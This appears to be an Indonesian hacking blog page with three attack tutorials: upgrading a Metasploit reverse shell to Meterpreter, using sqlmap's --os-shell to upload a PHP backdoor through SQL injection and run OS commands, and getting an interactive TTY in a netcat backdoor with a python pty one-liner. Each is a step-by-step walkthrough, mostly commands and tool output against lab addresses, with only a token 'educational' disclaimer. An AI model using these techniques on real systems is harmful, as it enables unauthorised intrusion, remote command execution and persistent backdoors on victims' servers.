Pages

Banner 468 x 60px

 
Tampilkan postingan dengan label shell. Tampilkan semua postingan
Tampilkan postingan dengan label shell. Tampilkan semua postingan

Kamis, 07 Juni 2012

[Metasploit] Upgrade Shell to Meterpreter

0 komentar
Meterpreter mungkin adalah bagian yang paling didambakan bagi para exploiter. Tidak hanya memiliki modul yang lengkap untuk memudahkan aksi eksploitasi, namun juga memiliki jalur koneksi yang secure sehingga nyaris tidak meninggalkan jejak paket dalam sebuah koneksi. Beberapa kasus yang sering ditemukan adalah, ketika exploiter menemukan sebuah kondisi dimana besar buffer tidak cukup untuk membuat system tereksploit sehingga shell code meterpreter tidak dapat di-inject kedalam paket. Pilihan terakhir yang diambil adalah dengan menggunakan payload shell yang memiliki ikuran buffer yang lebih kecil.


Dengan payload ini, attacker dapat membuka sesi shell. Sayang sekali jika kita tidak dapat membuat sesi meterpreter. Namun tenang dulu, kita masih bisa melakukan upgrade sesi kita menjadi sesi meterpreter.


Dalam kasus ini, saya menggunakan exploit/multi/handler dengan payload windows/shell_reverse_tcp, IP address saya 10.10.1.1 dan melakukan listening pada port 4444.


Sesaat kemudian, shell sesi pertama terbuka.


Bagaimana cara membuat sesi ini menjadi meterpreter?

Cukup masukan perintah berikut

Command :
msf  exploit(handler) > sessions -u 2 -q

Maka akan muncul seperti ini.

Command :
msf  exploit(handler) > sessions -u 2 -q[*] Started reverse handler on 10.10.1.1:4444
[*] Starting the payload handler...
[*] Command Stager progress - 1.66% done (1699/102108 bytes)
...
<snip>
...
[*] Sending stage (752128 bytes) to 10.10.1.128
[*] Command Stager progress - 100.00% done (102108/102108 bytes)
msf exploit(handler) > [*] Meterpreter session 3 opened (10.10.1.1:4444 -> 10.10.1.128:1048) at 2012-06-08 10:56:08 +0700



Kemudian cek ID sesi meterpreter dengan perintah

Command :
msf  exploit(handler) > sessions -l -v

Terlihat bahwa ID sesi meterpreter adalah 3. Selanjutnya kita akses meterpreter dengan perintah.

Command :
msf  exploit(handler) > sessions -i 3 [*] Starting interaction with 3...

meterpreter >


You are so.....
Pwned by : red-dragon


Read more...

Senin, 07 Mei 2012

Spawn Shell With SQLmap

0 komentar
Belakangan ini, tema post yang saya berikan selalu berbau SQL Injection. Saya harap pembaca tidak bosan membaca tutorial yang saya berikan. Kali ini saya akan menjelaskan bagaimana cara melakukan remote shell dengan metode SQL Injection. Dan pada kesempatan kali ini, saya akan menggunakan SQLmap.

Pada tutorial ini, pembaca mungkin akan menyadari apa yang membuat SQLmap lebih baik daripada alat SQL Injection yang lainnya. Karena tool ini benar-benar melakukan hal-hal yang sulit dijelaskan bagaimana cara kerjanya. Namun saya masih memahami sedikit dari metode yang digunakan SQLmap.

Metode Spawn Shell

Attacker -> SQLmap -> Upload [Shell Code] -> Victim

Alur di atas menjelaskan bahwa attacker menggunakan SQLmap untuk melakukan SQL injeksi, dan mengupload Shell Code pada korban. Hebatnya, anda tidak perlu malakukan log ini ke situs ini untuk mengupload shell code milik anda. Kemudian:

Attacker -> SQLmap -> Shell Code [Arbitrary Command] -> OS Shell

Sementara alur diatas menjelaskan bahwa attacker menggunakan SQLmap untuk menghubungkam dirinya ke backdoor yang telah ter-upload ke korban, dan mengirimkan perintah shell yang kemudian dieksekusi oleh OS Shell (Command Prompt pada Windows, atau Bash pada UNIX).

Shell Code atau backdoor yang dimiliki oleh SQLmap sendiri memiliki sejumlah jenis. Diantaranya ASP, ASPX, PHP, dan JSP. Jenis ini disesuaikan pada engine yang digunakan oleh korban. Pada tutorial kali ini, saya akan menggunakan jenis PHP. Saya tetap menggunakan Virtual OS pada localhost, agar tutorial saya tidak menimbulkan kerugian kepada pihak lain.

Preparation :

  1. SQLmap (dapat ditemukan di backtrack)
EULA (End User License Agreement)
Tutorial ini memiliki tujuan edukasi, penyalahgunaan skill yang anda dapatkan dari tulisan ini, diluar tanggung jawab penulis.

Walkthorugh :
1. Ketahui celah SQL Injection pada korban

Pada tutorial sebelumnya, saya telah menjelaskan bagaimana cara menggunakan SQLmap lebih lanjut, jika tidak ditemukan parameter pada URL dengan bantuan tamper data. Jika anda belum memahaminya, saya sarankan anda membaca kembali postingan sebelumnya mengenai SQL Injection Level 4 [Part 1]

Untuk melakukan spawn shell, anda hanya perlu menambahkan parameter --os-shell pada perintah sqlmap.

Command :
<< back|track 5 R2 [~] sqlmap -u "http://10.10.1.128/checklogin.php" --data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login" --drop-set-cookie --ignore-proxy --os-shell


Opsi --os-shell ini bertujuan untuk mengupload arbitrary file ke korban, dan membuka shell baru.


2. Ketahui Engine yang digunakan oleh korban

Kebanyakan SQL injection, menyerang situs yang memiliki basic PHP, dengan database MySQL. Namun tidak berarti selalu PHP yang memiliki kelemahan. Bahawa pemrograman web seperti ASP, ASPX, dan JSP juga dapat melakukan koneksi ke database MySQL. Artinya bahasa pemrograman ini juga memiliki kelemahan (nothing is perfect). Setelah mengeksekusi perintah pada tahap satu, maka anda diharuskan untuk menentukan bahasa pemrograman web apa yang digunakan oleh korban.

Output :
[14:45:55] [INFO] trying to upload the file stagerwhich web application language does the web server support?[1] ASP[2] ASPX[3] PHP (default)[4] JSP

Karena kali ini korban saya menggunakan web aplikasi berbahasa PHP, maka saya pilih nomer 3. Tekan enter, kemudian anda diharuskan untuk menentukan, kemana file ini akan diupload?

Output :
please provide the web server document root [/var/www/]:

Pada pilihan ini, saya masukan /var/www/. Sedikit catatan untuk pembaca, dalam kenyataannya, anda akan berhadapan dengan web server dengan banyak user, sehingga document root tidak mungkin berada pada folder /var/www/. Beberapa web server, mengatur document root nya pada diretory /home/, atau /var/www/hosts, atau /var/www/vhosts, atau /var/www/[victim]. Setelah menentukan document root, tekan enter. Pada tahap selanjutnya, anda bisa membiarkan value atau jawaban kosong, cukup tekan enter sampai proses upload selesai. Jika berhasil, maka anda akan mendapat output seperti ini:

Output :
[14:46:08] [INFO] the backdoor has probably been successfully uploaded on '/var/www' - http://10.10.1.128:80/tmpbbxju.php[14:46:08] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTERos-shell>


3. Game Over

Jika berhasil, maka anda hanya perlu memasukan perintah ke dalam os-shell interpreter. Dan menjawab "Y" pada setiap pertanyaan yang muncul.

Output :
os-shell> iddo you want to retrieve the command standard output? [Y/n/a] Ycommand standard output:    'uid=33(www-data) gid=33(www-data) groups=33(www-data)'



It is so powerful, isn't it?

created by : red-dragon
Read more...

Senin, 19 Maret 2012

Spawning Bash via Backdoor

0 komentar
Backdoor adalah elemen yang wajib ditanam ketika berhasil melakukan gaining access. Salah satu backdoor yang sering ditemukan adalah backdoor pada sebuah webserver. Dengan hanya menggunakan netcat, user mampu menembus webserver melalui port backdoor yang sudah ditentukan. Namun backdoor ini tampak hampa. Mengapa? Karena tidak ada tty yang aktif dalam shell tersebut. Akibatnya beberapa perintau seperti perintah sudo, tidak bisa dilakukan.

Sebagai contoh, anda menemukan kejadian seperti ini:

Tampak kosong bagaimana? Oke terlihat perbedaan antara shell yang wajar, dan backdoor shell yang satu ini. Shell yang wajar akan menampilkan

Command :
root@root:~# id

Namun di kasus ini tampak kosong!

Command :
id


Untuk mengaktifkan tty, anda harus dapat mengeksekusi tty baru. Agar header root@root dapat keluar. Jika root@root:~# telah keluar, makan tty sudah terksekusi. Dan perintah sudo bisa dieksekusi. Untuk mengeksekusi tty, saya akan menggunakan python interpreter untuk mengaktifkan tty. Simple, cukup masukan perintah ini:

Command :
python -c 'import pty; pty.spawn("/bin/sh")'

Maka header akan tampak seperti ini

Command :
python -c 'import pty; pty.spawn("/bin/sh")'sh-3.2$


Sempurna

created by : red-dragon
Read more...
 
Es Sia © 2012 The Cyber Chrome. Supported by Alexa